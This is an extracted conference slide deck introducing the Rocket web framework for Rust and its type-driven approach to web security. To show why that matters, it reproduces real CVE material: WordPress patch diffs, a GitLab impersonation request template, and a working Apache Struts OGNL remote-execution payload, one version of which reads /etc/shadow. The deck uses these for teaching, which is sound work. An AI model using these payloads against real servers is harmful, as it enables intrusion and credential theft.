[PPT] - Sergio Benitez sb@sergio.bz Rocket is a web framework for Rust that PowerPoint Presentation

SLIDE 1

SLIDE 2

Sergio Benitez

sb@sergio.bz

SLIDE 3

SLIDE 4

Rocket is a web framework for Rust that makes it simple to write fast web applications without sacrificing flexibility or type safety.

SLIDE 5

Rocket is a web framework for Rust that makes it simple to write fast web applications without sacrificing flexibility or type safety.

SLIDE 6

Rocket is a web framework for Rust that makes it simple to write fast web applications without sacrificing flexibility or type safety.

Memory-safe without a GC.
No data races.
Minimal runtime.
Powerful macro systems.

SLIDE 7

Rocket is a web framework for Rust that makes it simple to write fast web applications without sacrificing flexibility or type safety.

SLIDE 8

Dec. 23, 2016

Launch!

Feb. 06, 2017

v0.2

⋆ 2,855

Jul. 14, 2017

v0.3

SLIDE 9

Dec. 23, 2016

Launch!

Feb. 06, 2017

v0.2

⋆ 2,855

Jul. 14, 2017

v0.3

in production

SLIDE 10

SLIDE 11

Dec. 23, 2016

Launch!

Feb. 06, 2017

v0.2

⋆ 2,855

Jul. 14, 2017

v0.3

SLIDE 12

Rocket is a web framework for Rust that makes it simple to write fast web applications without sacrificing flexibility or type safety.

SLIDE 13

Y a W F ! ?

SLIDE 14

Cross-Site Scripting Directory Traversal Cross-Site Request Forgery Remote Code Execution SQL Injection Input Validation Authentication Authorization Misconfiguration

SLIDE 15

Cross-Site Scripting Directory Traversal Cross-Site Request Forgery Remote Code Execution SQL Injection Input Validation Authentication Authorization Misconfiguration

SLIDE 16

Cross-Site Scripting Directory Traversal Cross-Site Request Forgery Remote Code Execution SQL Injection Input Validation Authentication Authorization Misconfiguration

SLIDE 17

Rocket’s Philosophy

Decisions should not be forced upon users. 1 Function declaration and parameter types should contain all the necessary information to validate and process a request. 2 3 All request handling information should be typed.

SLIDE 18

1 2 3 4 5 #[get("/<id>")] fn retrieve(user: User, id: PasteId) -> Option<File> { let filename = format!("upload/{}/{}", user, id); File::open(&filename).ok() }

Overview

SLIDE 19

1 2 3 4 5 #[get("/<id>")] fn retrieve(user: User, id: PasteId) -> Option<File> { let filename = format!("upload/{}/{}", user, id); File::open(&filename).ok() }

Overview

Declarative syntax for matching conditions.

SLIDE 20

1 2 3 4 5 #[get("/<id>")] fn retrieve(user: User, id: PasteId) -> Option<File> { let filename = format!("upload/{}/{}", user, id); File::open(&filename).ok() }

Overview

Declarative syntax for matching conditions.
Typed validation before handler execution.

SLIDE 21

1 2 3 4 5 #[get("/<id>")] fn retrieve(user: User, id: PasteId) -> Option<File> { let filename = format!("upload/{}/{}", user, id); File::open(&filename).ok() }

Overview

Declarative syntax for matching conditions.
Typed validation before handler execution.
Types directly describe functionality.

SLIDE 22

1 2 3 4 5 #[get("/<id>")] fn retrieve(user: User, id: PasteId) -> Option<File> { let filename = format!("upload/{}/{}", user, id); File::open(&filename).ok() }

Overview

Declarative syntax for matching conditions.
Typed validation before handler execution.
Types directly describe functionality.

SLIDE 23

Cross-Site Scripting Directory Traversal Cross-Site Request Forgery Remote Code Execution SQL Injection Input Validation Authentication Authorization Misconfiguration

SLIDE 24

SLIDE 25

CVE-2009-2853 impact 10

SLIDE 26

CVE-2009-2853 (impact 10)

Wordpress before 2.8.3 allows remote attackers to gain privileges via a direct request to [8 different endpoints].

SLIDE 27

CVE-2009-2853 (impact 10)

-- a/trunk/wp-admin/admin-footer.php

+++ b/trunk/wp-admin/admin-footer.php @@ -6,4 +6,8 @@ * @subpackage Administration */ + +// don't load directly +if ( !defined('ABSPATH') ) + die('-1'); ?>

-- a/branches/2.8/wp-admin/import.php

+++ b/branches/2.8/wp-admin/edit-category-form.php @@ -6,4 +6,7 @@ * @subpackage Administration */ + +if ( !current_user_can('manage_categories') ) + wp_die(__(‘Insufficient permissions.’)); /**

-- a/branches/2.8/wp-admin/edit-tag-form.php

+++ b/branches/2.8/wp-admin/edit-category-form.php @@ -6,4 +6,7 @@ * @subpackage Administration */ + +if ( !current_user_can('manage_categories') ) + wp_die(__(‘Insufficient permissions.’)); /**

-- a/branches/2.8/wp-admin/edit-category-form.php

+++ b/branches/2.8/wp-admin/edit-category-form.php @@ -6,4 +6,7 @@ * @subpackage Administration */ + +if ( !current_user_can('manage_categories') ) + wp_die(__(‘Insufficient permissions.’)); /**

Take 1

SLIDE 28

CVE-2009-2853 (impact 10)

-- a/trunk/wp-admin/admin-footer.php

+++ b/trunk/wp-admin/admin-footer.php @@ -6,4 +6,8 @@ * @subpackage Administration */ + +// don't load directly +if ( !defined('ABSPATH') ) + die('-1'); ?>

-- a/trunk/wp-admin/edit-form-advanced.php

+++ b/trunk/wp-admin/edit-form-advanced.php @@ -6,4 +6,8 @@ * @subpackage Administration */ + +// don't load directly +if ( !defined('ABSPATH') ) + die('-1'); /**

-- a/trunk/wp-admin/edit-link-form.php

+++ b/trunk/wp-admin/edit-link-form.php @@ -6,4 +6,8 @@ * @subpackage Administration */ + +// don't load directly +if ( !defined('ABSPATH') ) + die('-1'); if ( ! empty($link_id) ) {

-- a/trunk/wp-admin/edit-tag-form.php

+++ b/trunk/wp-admin/edit-tag-form.php @@ -6,4 +6,8 @@ * @subpackage Administration */ + +// don't load directly +if ( !defined('ABSPATH') ) + die('-1'); if ( !current_user_can('manage_categories') )

-- a/trunk/wp-admin/edit-category-form.php

+++ b/trunk/wp-admin/edit-category-form.php @@ -6,4 +6,8 @@ * @subpackage Administration */ + +// don't load directly +if ( !defined('ABSPATH') ) + die('-1'); if ( !current_user_can('manage_categories') )

Take 2

SLIDE 29

SLIDE 30

SLIDE 31

By passing the right parameters while updating a user, that user is able to assign any existing role to themselves.

SLIDE 32

def update_user params[:user] # => {:name => “ow3ned”, :role => “admin”} @user = User.new(params[:user]) end

Mass Assignment Vulnerability

SLIDE 33

def update_user params[:user] # => {:name => “ow3ned”, :role => “admin”} @user = User.new(params[:user]) end + params[:user].delete("role")

Tie “Fix”

SLIDE 34

SLIDE 35

CVE-2016-4340 impact 8.8

SLIDE 36

We discovered a critical security flaw…the "impersonate" feature was not properly secured. It was possible for any authenticated user, administrator or not, to "log in" as any other user, including administrators.

CVE-2016-4340 (impact 8.8)

SLIDE 37

CVE-2016-4340 (impact 8.8)

1. Login as regular user.
2. Get current authenticity token from cookies/requests.
3. Craft request using following template:

POST /admin/users/stop_impersonation?id=${username}

_method=delete&authenticity_token=${auth_token}

SLIDE 38

CVE-2016-4340 (impact 8.8)

def authenticate_admin! return render_404 unless current_user.is_admin? end def authorize_impersonator! if session[:impersonator_id] User.find_by!(username: session[:impersonator_id]).admin? end end class Admin::ImpersonationController < Admin::ApplicationController skip_before_action :authenticate_admin!, only: :destroy before_action :user before_action :authorize_impersonator! def user @user ||= User.find_by!(username: params[:id] || session[:impersonator_id]) end def destroy redirect = session[:impersonator_return_to] warden.set_user(user, scope: 'user') redirect_to redirect || root_path end end

SLIDE 39

CVE-2016-4340 (impact 8.8)

def authenticate_admin! return render_404 unless current_user.is_admin? end def authorize_impersonator! if session[:impersonator_id] User.find_by!(username: session[:impersonator_id]).admin? end end class Admin::ImpersonationController < Admin::ApplicationController skip_before_action :authenticate_admin!, only: :destroy before_action :user before_action :authorize_impersonator! def user @user ||= User.find_by!(username: params[:id] || session[:impersonator_id]) end def destroy redirect = session[:impersonator_return_to] warden.set_user(user, scope: 'user') redirect_to redirect || root_path end end

SLIDE 40

SLIDE 41

SLIDE 42

CVE-2017-5638 impact 10 (!)

SLIDE 43

Tie Jakarta Multipart parser in Apache Struts 2 has incorrect exception handling […], [allowing] remote attackers to execute arbitrary commands via a crafted Content-Type, Content-Disposition,

r Content-Length HTTP header.

CVE-2017-5638 (impact 10)

SLIDE 44

payload = "%{(#_='multipart/form-data')." payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." payload += "(#_memberAccess?" payload += "(#_memberAccess=#dm):" payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." payload += "(#ognlUtil.getExcludedPackageNames().clear())." payload += "(#ognlUtil.getExcludedClasses().clear())." payload += "(#context.setMemberAccess(#dm))))." payload += "(#cmd='%s')." % cmd payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." payload += "(#p=new java.lang.ProcessBuilder(#cmds))." payload += "(#p.redirectErrorStream(true)).(#process=#p.start())." payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." payload += "(#ros.flush())}"

CVE-2017-5638 (impact 10)

SLIDE 45

payload = "%{(#_='multipart/form-data')." payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." payload += "(#_memberAccess?" payload += "(#_memberAccess=#dm):" payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." payload += "(#ognlUtil.getExcludedPackageNames().clear())." payload += "(#ognlUtil.getExcludedClasses().clear())." payload += "(#context.setMemberAccess(#dm))))." payload += "(#cmd='%s')." % cmd payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." payload += "(#p=new java.lang.ProcessBuilder(#cmds))." payload += "(#p.redirectErrorStream(true)).(#process=#p.start())." payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." payload += "(#ros.flush())}"

CVE-2017-5638 (impact 10)

SLIDE 46

payload = "%{(#_='multipart/form-data')." payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." payload += "(#_memberAccess?" payload += "(#_memberAccess=#dm):" payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." payload += "(#ognlUtil.getExcludedPackageNames().clear())." payload += "(#ognlUtil.getExcludedClasses().clear())." payload += "(#context.setMemberAccess(#dm))))." payload += “(#cmd='cat /etc/shadow')." payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." payload += "(#p=new java.lang.ProcessBuilder(#cmds))." payload += "(#p.redirectErrorStream(true)).(#process=#p.start())." payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." payload += "(#ros.flush())}"

CVE-2017-5638 (impact 10)

SLIDE 47

payload = "%{(#_='multipart/form-data')." payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." payload += "(#_memberAccess?" payload += "(#_memberAccess=#dm):" payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." payload += "(#ognlUtil.getExcludedPackageNames().clear())." payload += "(#ognlUtil.getExcludedClasses().clear())." payload += "(#context.setMemberAccess(#dm))))." payload += “(#cmd='cat /data/all/americans/ssn.tsv').” payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." payload += "(#p=new java.lang.ProcessBuilder(#cmds))." payload += "(#p.redirectErrorStream(true)).(#process=#p.start())." payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." payload += "(#ros.flush())}"

CVE-2017-5638 (impact 10)

SLIDE 48

SLIDE 49

SLIDE 50

Hello, World!

SLIDE 51

Routes (Hello, world!)

1 2 3 4 #[get("/")] fn hello() -> &'static str { "Hello, world!" }

SLIDE 52

Routes (Hello, world!)

1 2 3 4 #[get("/")] fn hello() -> &'static str { "Hello, world!" }

1

Route Attribute: Description of matching condition.

1

SLIDE 53

Routes (Hello, world!)

1 2 3 4 #[get("/")] fn hello() -> &'static str { "Hello, world!" }

1

Route Attribute: Description of matching condition.

1

2

Route Handler: Request processing, produces response.

2

SLIDE 54

Routes (Hello, world!)

1 2 3 4 #[get("/")] fn hello() -> &'static str { "Hello, world!" }

1

Route Attribute: Description of matching condition.

1

2

Route Handler: Request processing, produces response.

2

SLIDE 55

Routes (Hello, world!)

1 2 3 4 #[get("/")] fn hello() -> &'static str { "Hello, world!" }

1

Route Attribute: Description of matching condition.

1

2

Route Handler: Request processing, produces response.

2

SLIDE 56

Routes (Hello, world!)

1 2 3 4 #[get("/")] fn hello() -> &'static str { "Hello, world!" }

1

Route Attribute: Description of matching condition.

1

2

Route Handler: Request processing, produces response.

2

SLIDE 57

Mounting & Launching

1 2 3 4 5 6 7 8 #[get("/")] fn hello() -> &'static str { "Hello, world!" } fn main() { rocket::ignite().mount("/", routes![hello]).launch(); } #[get("/")] fn hello() -> &'static str { "Hello, world!" }

Routes need to be mounted to make Rocket aware.

SLIDE 58

Mounting & Launching

1 2 3 4 5 6 7 8 #[get("/")] fn hello() -> &'static str { "Hello, world!" } fn main() { rocket::ignite().mount("/", routes![hello]).launch(); } #[get("/")] fn hello() -> &'static str { "Hello, world!" }

Ignition constructs a Rocket instance for mounting and launching.

SLIDE 59

Mounting & Launching

1 2 3 4 5 6 7 8 #[get("/")] fn hello() -> &'static str { "Hello, world!" } fn main() { rocket::ignite().mount("/", routes![hello]).launch(); } #[get("/")] fn hello() -> &'static str { "Hello, world!" }

Mounting namespaces routes according to a root path.

SLIDE 60

Mounting & Launching

1 2 3 4 5 6 7 8 #[get("/")] fn hello() -> &'static str { "Hello, world!" } fn main() { rocket::ignite().mount("/hello", routes![hello]).launch(); } #[get("/")] fn hello() -> &'static str { "Hello, world!" }

Mounting namespaces routes according to a root path.

SLIDE 61

Mounting & Launching

1 2 3 4 5 6 7 8 #[get("/")] fn hello() -> &'static str { "Hello, world!" } fn main() { rocket::ignite().mount("/", routes![hello]).launch(); } #[get("/")] fn hello() -> &'static str { "Hello, world!" }

Mounting namespaces routes according to a root path.

SLIDE 62

Mounting & Launching

1 2 3 4 5 6 7 8 #[get("/")] fn hello() -> &'static str { "Hello, world!" } fn main() { rocket::ignite().mount("/", routes![hello]).launch(); } #[get("/")] fn hello() -> &'static str { "Hello, world!" }

Launching starts up the server.

SLIDE 63

Mounting & Launching

1 2 3 4 5 6 7 8 #[get("/")] fn hello() -> &'static str { "Hello, world!" } fn main() { rocket::ignite().mount("/", routes![hello]).launch(); } #[get("/")] fn hello() -> &'static str { "Hello, world!" }

Launching starts up the server. (also prints emojis !)

SLIDE 64

Mounting & Launching

1 2 3 4 5 6 7 8 #[get("/")] fn hello() -> &'static str { "Hello, world!" } fn main() { rocket::ignite().mount("/", routes![hello]).launch(); } #[get("/")] fn hello() -> &'static str { "Hello, world!" }

Launching starts up the server. (also prints emojis !)

SLIDE 65

Mounting & Launching

1 2 3 4 5 6 7 8 #[get("/")] fn hello() -> &'static str { "Hello, world!" } fn main() { rocket::ignite().mount("/", routes![hello]).launch(); } #[get("/")] fn hello() -> &'static str { "Hello, world!" }

SLIDE 66

Mounting & Launching

1 2 3 4 5 6 7 8 #[get("/")] fn hello() -> &'static str { "Hello, world!" } fn main() { rocket::ignite().mount("/", routes![hello]).launch(); } #[get("/world")] fn hello() -> &'static str { "Hello, world!" }

SLIDE 67

Mounting & Launching

1 2 3 4 5 6 7 8 #[get("/")] fn hello() -> &'static str { "Hello, world!" } fn main() { rocket::ignite().mount("/", routes![hello]).launch(); } #[get("/sergio")] fn hello() -> &'static str { "Hello, Sergio!" }

SLIDE 68

Dynamic Paths Request Guards Data Guards Typed URIs

SLIDE 69

Dynamic Paths

SLIDE 70

Dynamic Paths

1 2 3 4

Parameters in <brackets> match any text in segment.

#[get("/<name>/<age>")] fn hello(name: String, age: u8) -> String { format!("Hello, {} year old named {}!", age, name) }

SLIDE 71

Dynamic Paths

1 2 3 4

Parameters in <brackets> match any text in segment.

#[get("/<name>/<age>")] fn hello(name: String, age: u8) -> String { format!("Hello, {} year old named {}!", age, name) }

Name in <brackets> must have matching function argument.

SLIDE 72

Dynamic Paths

1 2 3 4

Parameters in <brackets> match any text in segment.

#[get("/<name>/<age>")] fn hello(name: String, number: u8) -> String { format!("Hello, {} year old named {}!", age, name) }

Name in <brackets> must have matching function argument.

SLIDE 73

Name in <brackets> must have matching function argument.

Dynamic Paths

1 2 3 4

Parameters in <brackets> match any text in segment.

#[get("/<name>/<age>")] fn hello(name: String, number: u8) -> String { format!("Hello, {} year old named {}!", age, name) }

SLIDE 74

Dynamic Paths

1 2 3 4

Parameters in <brackets> match any text in segment.

#[get("/<name>/<age>")] fn hello(name: String, number: u8) -> String { format!("Hello, {} year old named {}!", age, name) }

Name in <brackets> must have matching function argument.

SLIDE 75

Dynamic Paths

1 2 3 4

Parameters in <brackets> match any text in segment.

#[get("/<name>/<age>")] fn hello(name: String, age: u8) -> String { format!("Hello, {} year old named {}!", age, name) }

Name in <brackets> must have matching function argument.

SLIDE 76

Dynamic Paths

1 2 3 4

Parameters in <brackets> match any text in segment.

#[get("/<name>/<age>")] fn hello(name: String, age: u8) -> String { format!("Hello, {} year old named {}!", age, name) }

Type of dynamic parameter is declared in handler signature.
Any type implementing FromParam is allowed.

SLIDE 77

Dynamic Paths

1 2 3 4

Parameters in <brackets> match any text in segment.

#[get("/<name>/<age>")] fn hello(name: String, age: u8) -> String { format!("Hello, {} year old named {}!", age, name) }

Handler can only be called if FromParam conversion succeeds.

SLIDE 78

Preventing Directory Traversal

1 2 3 4

Implication: handlers are only called with validated data!

#[get(“/<path..>")] fn files(path: PathBuf) -> Option<NamedFile> { NamedFile::open(Path::new("static/").join(path)).ok() }

FromParam* implementation for PathBuf verifies path safety.

SLIDE 79

Request Guards

SLIDE 80

Request Guards

1 2 #[get("/admin")] fn admin_panel(admin: AdminUser) -> &'static str { ... }

Arbitrary number of FromRequest parameters allowed.

SLIDE 81

Request Guards

1 2 #[get("/admin")] fn admin_panel(admin: AdminUser) -> &'static str { ... }

Request guards validate incoming request, protect handlers.

Guards may fail, preventing further request processing.
Guards may forward, indicating local failure.

SLIDE 82

Request Guards & Forwarding

1 2 3 4 5 #[get("/admin")] fn admin_panel(admin: AdminUser) -> &'static str { ... } #[get("/admin", rank = 2)] fn admin_panel_user(user: User) -> &'static str { ... }